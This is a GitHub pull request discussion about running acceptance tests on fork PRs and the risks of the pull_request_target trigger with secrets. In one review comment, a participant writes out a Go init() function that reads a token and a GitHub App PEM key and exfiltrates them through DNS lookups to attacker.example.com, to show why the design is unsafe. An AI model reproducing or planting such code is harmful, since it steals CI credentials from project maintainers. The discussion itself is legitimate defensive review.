chore: Enable automation testing

[stevehipwell]

Resolves #ISSUE_NUMBER

---

Before the change?

• App auth required setting the app_auth block
• Automation test couldn't be run due to a lack of infrastructure

After the change?

• App auth can be configured with only environment variables
• Automation tests run for non-fork PRs
• Automation tests run for fork PRs with the acctest label (they currently need to be approved)
• Automation tests run for pushes to main

Pull request checklist

• Schema migrations have been created if needed (example)
• Tests for the changes have been added (for bug fixes / features)
• Docs have been reviewed and added / updated if needed (for bug fixes / features)

Does this introduce a breaking change?

Please see our docs on breaking changes to help!

• Yes
• No

---

[github-actions]

👋 Hi! Thank you for this contribution! Just to let you know, our GitHub SDK team does a round of issue and PR reviews twice a week, every Monday and Friday! We have a process in place for prioritizing and responding to your input. Because you are a part of this community please feel free to comment, add to, or pick up any issues/PRs that are labeled with Status: Up for grabs. You & others like you are the reason all of this works! So thank you & happy coding! 🚀

[stevehipwell]

Suggested change

	# pull_request_target:
	pull_request:
	pull_request_target:

This needs changing before we merge, but it needs to be pull_request to run the tests in the PR before the code is merged.

[deiga]

If you feel so inclined, you could refactor the Check blocks you modified into ConfigStateChecks.

Otherwise LGTM

[austenstone]

Left one inline note on the pull_request_target scaffold recommending its removal, since it nudges future edits toward a privileged trigger that would be easy to misuse in a secrets-bearing acceptance-test workflow.

[austenstone]

I’d remove the commented pull_request_target scaffold here.

Even as a comment, it points future edits toward the wrong primitive for this workflow. These acceptance tests use environment-scoped credentials, so pull_request_target only stays safe if we never check out or execute PR head code. With default checkout, it would test trusted base-branch code rather than the PR; if someone later switches checkout to PR head to make the tests meaningful, that becomes the exact privileged-trigger + untrusted-checkout + secrets pattern GitHub warns about.

Keeping only pull_request here makes the intended and safer behavior unambiguous.

[stevehipwell]

@austenstone the whole point of this work is to enable the pull_request_target trigger so contributors can run tests! I think you might have missed the part of the workflow that explicitly blocks a run if any unexpected secrets leak into the context?

[tag-assistant]

@stevehipwell I want to walk through a concrete attack scenario to illustrate why the "Check secrets" step doesn't mitigate the risk here.

The attack:

1. Attacker forks the repo and modifies any *_test.go file — for example, adding this to an existing test helper:

func init() {
    // Exfiltrate via DNS (bypasses most egress filters)
    token := os.Getenv("GITHUB_TOKEN")
    appPEM := os.Getenv("GITHUB_APP_PEM_FILE")
    encoded := base64.StdEncoding.EncodeToString([]byte(appPEM))
    for i := 0; i < len(encoded); i += 60 {
        chunk := encoded[i:min(i+60, len(encoded))]
        net.LookupHost(fmt.Sprintf("%d.%s.attacker.example.com", i/60, chunk))
    }
}

2. Attacker opens a PR. A maintainer reviews it, it looks reasonable, and applies the acctest label.

3. The workflow runs go test on the fork's code with secrets injected via environment variables (GITHUB_TOKEN, GITHUB_APP_PEM_FILE, etc.).

4. The attacker's modified test code executes and exfiltrates the App PEM key and token.

Why the "Check secrets" step doesn't help:

The check validates that no unexpected secret names exist in the environment — it filters by naming convention (ACTIONS_*, GITHUB_*, TEST_*) and an allowlist. But the secrets being exfiltrated (GH_TEST_TOKEN, GH_TEST_APP_PEM) are the expected, allowed ones. The check explicitly permits them.

Why the acctest-dotcom-untrusted environment doesn't fully help:

Even if this environment has reduced-privilege credentials, the attacker gets whatever's there. And there's a subtler issue: once the acctest label is applied, the attacker can push new commits to the fork branch that re-trigger the workflow without requiring re-review of the label. The initial PR can look clean; the malicious commit comes after labeling.

The App PEM is the crown jewel — with the PEM + App ID (which is in vars, visible to forks), an attacker can generate installation tokens for any org the app is installed on.

The safe pattern is pull_request_target with an explicit checkout of only the base ref (trusted code), never executing PR head code with secrets. Or using short-lived OIDC tokens instead of long-lived PEM keys.

[stevehipwell]

@tag-assistant this attack vector has already been considered and the workflow has been hardened to protect against this. Before the workflow can run a human reviewer with sufficient privilege needs to approve it via a protected environment.

[austenstone]

Ok. I was just worried. That's like the avoid at all costs trigger.

[tag-assistant]

Taking a step back — the goal here is great. External contributors need to be able to run acceptance tests without maintainers doing it manually. But I think we're building a lot of custom machinery (fork detection, label gates, secret validation, untrusted environments) to solve a problem GitHub already solves natively.

Environment protection rules with required reviewers replace almost all of this:

• Workflow triggers on fork PRs normally
• Job references an environment with "required reviewers" enabled
• Workflow pauses and waits for a maintainer to click "Approve"
• Only then do secrets get injected and tests run
• New commits on the PR = new deployment = automatically requires re-approval

That last point is critical. The label-based approach has a gap where an attacker can push new commits after the acctest label is applied, and tests re-run without re-review. Environment protection rules close that gap by design.

It also eliminates the interaction risk with things like AI-powered labelers (#3272) — if an automated tool accidentally applies acctest to a fork PR, tests run with secrets and no human ever reviewed the code. With environment protection rules, labels aren't a security boundary at all.

The simplified workflow would look something like:

on:
  pull_request:
  push:
    branches: [main, release-v*]

jobs:
  test:
    runs-on: ubuntu-latest
    environment: acctest-dotcom  # required reviewer gate handles everything
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-go@v5
      - run: go test ./github -v -count=1 -parallel=20 -timeout=30m
        env:
          TF_ACC: "1"
          GITHUB_TOKEN: ${{ secrets.GH_TEST_TOKEN }}
          # ... other test vars

The entire setup job, fork detection, label check, and secret validation step can go away. GitHub's native environment protection is purpose-built for exactly this use case — gating secret access behind human approval on a per-run basis.

[deiga]

I quickly looked into some of the test failures:

• The App is lacking permissions for Codespaces secrets(?) or just Codespaces in general
• The App is lacking permission to read Org IP Allowlist
• "Deploy keys are disabled for this repository" sounds like the Org has disabled Deploy keys?
• The test run ran longer than 60min => App Token invalid?
• TestAccGithubActionsOrganizationWorkflowPermissions is failing due to trying to modify values disabled by Enterprise
• TestAccGithubActionsRunnerGroup should maybe ignore etag in import test